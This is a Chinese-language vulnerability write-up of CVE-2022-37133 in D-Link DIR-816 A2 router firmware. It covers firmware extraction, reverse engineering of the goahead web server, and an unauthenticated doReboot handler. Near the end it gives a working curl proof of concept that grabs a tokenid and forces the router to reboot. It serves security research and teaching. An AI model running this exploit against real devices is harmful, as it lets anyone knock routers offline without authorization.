D-Link CVE-2022-37133
D-Link CVE-2022-37133
文章首发于IOTsec-Zone
- Manufacturer’s address:https://www.dlink.com/
- Firmware download address : http://tsd.dlink.com.tw/GPL.asp
- Affected version:DIR-816 A2_v1.10CNB04
前言
此漏洞为笔者在分析D-Link DIR-816 A2_v1.10CNB04时所发现的,非常适合拿来入门学习路由器漏洞。这个文章笔者只写此漏洞的分析和利用(如有错误 欢迎指正),这个固件还有其他的一些漏洞(命令注入,堆栈溢出)
漏洞文件提取
从官网将固件下载下来
将固件下载下来之后需要提取里面的文件系统,笔者采用的是在线提取,链接:https://zhiwanyuzhou.com/multiple_analyse/firmware/
选择文件上传,将固件上传等待上传进度
分析完成之后点击解包所有文件下载即可将文件系统下载
然后用tar解包就可以看到如下东西
1 | 22:00:25 z1r0@z1r0deMacBook-Pro.local squashfs-root ls -l |
逆向分析漏洞点
漏洞出现在goahead中,goahead
自身实现了一个 web
服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。
1 | 22:02:14 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead |
将goahead丢入ida,对doReboot这个功能进行分析,在ida中搜索sleep 3 && reboot &
然后跟进第三个即可。
websWrite是回显函数,可以看到最后会无条件执行system("sleep 3 && reboot &");
漏洞利用
查看doReboot的交叉引用可知在formDefineUtilities
这个函数中被引用了,而formDefineUtilities
被main函数引用了
当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/doReboot
则使用websFormHandler
先进行理,再到doReboot用户自定义的的函数中进行处理。websFormHandler
的函数处理如下
1 | int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, |
其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp
这个参数就能获取到用户请求的信息。
在主页登陆抓一个包可以看到是POST /goform/formLogin
请求
1 | POST /goform/formLogin HTTP/1.1 |
想要触发doReboot,可以模仿抓包的内容,最后的tokenid是必不可少的,可以使用curl http://192.168.0.1/dir_login.asp | grep tokenid
来获取tokenid
所以触发doReboot可以使用如下poc,xxxx为获取到的tokenid
curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx
稍等3秒就可以看到路由器重启
小结
此漏洞可做路由器漏洞入门学习,笔者使用的实体路由器(不知道这个固件进行模拟的时候需不需要patch一些东西),后续有时间会写此路由器的其他漏洞(可达成getshell的)的一些利用
文章来自IOTsec-Zone